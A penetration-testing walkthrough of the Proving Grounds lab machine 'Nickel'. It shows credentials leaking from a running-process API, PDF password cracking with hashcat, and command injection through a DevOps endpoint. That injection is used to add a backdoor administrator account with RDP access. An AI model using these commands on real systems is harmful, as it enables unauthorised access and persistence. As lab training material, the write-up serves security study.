PG: Nickel

Enumeration#

Nmap#

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           FileZilla ftpd
22/tcp    open  ssh           OpenSSH for_Windows_8.1
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
8089/tcp  open  http          Microsoft HTTPAPI httpd 2.0
33333/tcp open  http          Microsoft HTTPAPI httpd 2.0

Two HTTP APIs on non-standard ports. FTP requires credentials, no anonymous access.

Port 8089 - Web Interface#

The web UI on 8089 has forms that submit requests to an internal API at 169.254.109.39:33333 – a link-local address. The endpoints:

• /list-current-deployments
• /list-running-procs
• /list-active-nodes

Port 33333 - Internal API#

Hitting the API endpoints directly from the browser returns nothing useful. But the API responds differently depending on the HTTP method.

Foothold#

API Enumeration with curl#

The API requires specific request formatting. After testing different methods and headers, curl with the -d flag (which sets Content-Length and switches to POST) gets a response:

1

curl -d '' http://192.168.57.99:33333/list-running-procs

The process list output contains credentials in a command line argument:

ariah : NowiseSloopTheory139

SSH as ariah – we’re in.

Lateral Movement#

PDF Cracking → DevOps Access#

Exploring the filesystem, we find Infrastructure.pdf in the FTP directory. FTP was locked earlier, but now that we hold ariah’s credentials we can authenticate and download it (passive mode, be patient).

The PDF is password-protected. Crack it:

1
2
3

pdf2john Infrastructure.pdf > hash
hashcat -m 10500 hash wordlist
# Password: ariah4168

The PDF reveals an internal DevOps endpoint running on http://nickel/ that accepts commands via URL parameters and executes them as SYSTEM.

Verify from the SSH shell:

1
2

curl http://nickel/?whoami
# nt authority\system

Persistence & RDP Access#

Admin Account via the DevOps Endpoint#

The DevOps endpoint already runs our commands as SYSTEM, so this isn’t really privilege escalation – the goal now is durable, interactive access. Use the same command injection to create a new admin user and RDP in (URL-encode the payloads):

1
2
3

curl "http://nickel/?net%20user%20evil%20tetyaMasha99%20/add"
curl "http://nickel/?net%20localgroup%20administrators%20evil%20/add"
curl "http://nickel/?net%20localgroup%20%22Remote%20Desktop%20Users%22%20evil%20/add"

RDP as evil:tetyaMasha99 with full admin rights.

Proof#

whoami
nt authority\system

Key Takeaways#